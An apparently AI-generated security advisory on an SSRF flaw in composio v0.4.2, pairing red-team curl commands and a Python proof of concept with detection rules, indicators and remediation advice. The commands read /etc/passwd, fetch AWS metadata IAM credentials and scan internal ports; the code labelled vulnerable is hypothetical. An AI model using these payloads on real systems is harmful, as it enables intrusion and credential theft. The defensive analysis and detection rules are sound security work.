CVE-2024-8952

Executive Summary

CVE-2024-8952 is a Server-Side Request Forgery (SSRF) vulnerability identified in composiohq/composio version v0.4.2. The flaw resides in the /api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT endpoint, allowing an unauthenticated attacker to force the server to make arbitrary HTTP requests. This can be leveraged to read local files (e.g., /etc/passwd), access cloud metadata endpoints (e.g., AWS 169.254.169.254), and interact with internal services. With a CVSS score of 6.8 (Medium), the vulnerability poses a significant risk to data confidentiality and internal network security. No patch is currently available, and public proof-of-concept (PoC) code exists.

Supply Chain & Package Security

This vulnerability affects the Composio open-source project, which is distributed as a Python package via PyPI (composio-core). Organizations using this package in their supply chain should immediately assess their exposure. The lack of a patch means that any deployment of version v0.4.2 is vulnerable. Supply chain security teams should monitor for updates and consider temporary mitigations such as network segmentation or WAF rules.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the impact is limited to confidentiality, the ease of exploitation and potential for lateral movement within cloud environments elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic SSRF in the WEBTOOL_SCRAPE_WEBSITE_CONTENT action. The endpoint accepts a URL parameter and fetches its content server-side without proper validation or sanitization. An attacker can supply internal IP addresses, file URIs, or cloud metadata URLs.

Key Mechanics:

1. Unvalidated URL Input: The endpoint does not restrict the scheme or host of the provided URL.
2. Server-Side Fetch: The server uses a library (likely requests or urllib) to fetch the URL, making the request from the server's network context.
3. Response Reflection: The fetched content is returned to the attacker, enabling data exfiltration.

Attack Scenarios:

• File Read: file:///etc/passwd
• AWS Metadata: http://169.254.169.254/latest/meta-data/
• Internal Service Scanning: http://localhost:8080/admin

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would include:

Vulnerable Code (v0.4.2):

# Hypothetical vulnerable implementation
def execute_web_scrape(url):
    response = requests.get(url)  # No validation
    return response.text

Patched Code (Hypothetical):

# Patched implementation with allowlist
ALLOWED_DOMAINS = ["example.com", "api.trusted.com"]

def execute_web_scrape(url):
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_DOMAINS:
        raise ValueError("Domain not allowed")
    if parsed.scheme not in ["http", "https"]:
        raise ValueError("Invalid scheme")
    response = requests.get(url, timeout=5)
    return response.text

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running composio v0.4.2
• Network access to the API endpoint

Exploit Steps:

1. Identify the endpoint: POST /api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT
2. Craft a request with a malicious URL:

curl -X POST http://target:port/api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT \
  -H "Content-Type: application/json" \
  -d '{"url": "file:///etc/passwd"}'

3. Read local files:

curl -X POST http://target:port/api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"}'

4. Scan internal services:

for port in 80 8080 3000; do
  curl -X POST http://target:port/api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT \
    -d "{\"url\": \"http://localhost:$port/admin\"}"
done

PoC Script:

import requests
import sys

target = sys.argv[1]
url = sys.argv[2]

payload = {"url": url}
r = requests.post(f"{target}/api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT", json=payload)
print(r.text)

Blue Team

Detection:

• Monitor for requests to the /api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT endpoint with suspicious URLs (e.g., file://, 169.254.169.254, localhost).
• Alert on outbound connections from the application server to internal IPs or unusual external IPs.

Hunting:

• Search logs for WEBTOOL_SCRAPE_WEBSITE_CONTENT with URL parameters containing file://, 169.254, 127.0.0.1, or 10., 172., 192.168. prefixes.
• Correlate with AWS CloudTrail logs for metadata API calls.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to 169.254.169.254 (AWS metadata)
  • Outbound requests to file:// URIs
  • Requests to internal IPs (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
• File IOCs:
  • Access to /etc/passwd, /etc/shadow, /proc/self/environ
• Log IOCs:
  • Log entries containing WEBTOOL_SCRAPE_WEBSITE_CONTENT with file:// or internal IPs in the URL field.

Detection Engineering

YARA Rule

rule CVE_2024_8952_SSRF_Composio {
    meta:
        description = "Detects SSRF exploitation attempts against composio CVE-2024-8952"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-8952"
    strings:
        $s1 = "WEBTOOL_SCRAPE_WEBSITE_CONTENT" ascii wide nocase
        $s2 = "file://" ascii wide nocase
        $s3 = "169.254.169.254" ascii wide nocase
        $s4 = "localhost" ascii wide nocase
        $s5 = "127.0.0.1" ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-8952 SSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts against composio WEBTOOL_SCRAPE_WEBSITE_CONTENT endpoint
author: Valters IT
date: 2025/04/17
logsource:
    category: webserver
    product: composio
detection:
    selection:
        cs-uri-query|contains: "WEBTOOL_SCRAPE_WEBSITE_CONTENT"
    keywords:
        - "file://"
        - "169.254.169.254"
        - "localhost"
        - "127.0.0.1"
        - "10."
        - "172."
        - "192.168."
    condition: selection and keywords
falsepositives:
    - Legitimate use of file:// for debugging (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-8952 SSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT";
    http_uri;
    content:"url";
    http_client_body;
    pcre:"/(file:\/\/|169\.254\.169\.254|localhost|127\.0\.0\.1)/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint if not required: Block access to /api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT via WAF or reverse proxy.
2. Network Segmentation: Restrict outbound traffic from the application server to only necessary external IPs and block access to internal IP ranges.
3. Input Validation: Implement a strict allowlist of allowed domains and schemes (HTTP/HTTPS only).
4. Upgrade: Monitor the composio repository for a patched version and apply it immediately.

Long-Term Fixes:

• Implement a URL validation library that rejects private IPs and file URIs.
• Use a dedicated HTTP client with a timeout and redirect restrictions.
• Conduct a security audit of all API endpoints for similar vulnerabilities.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.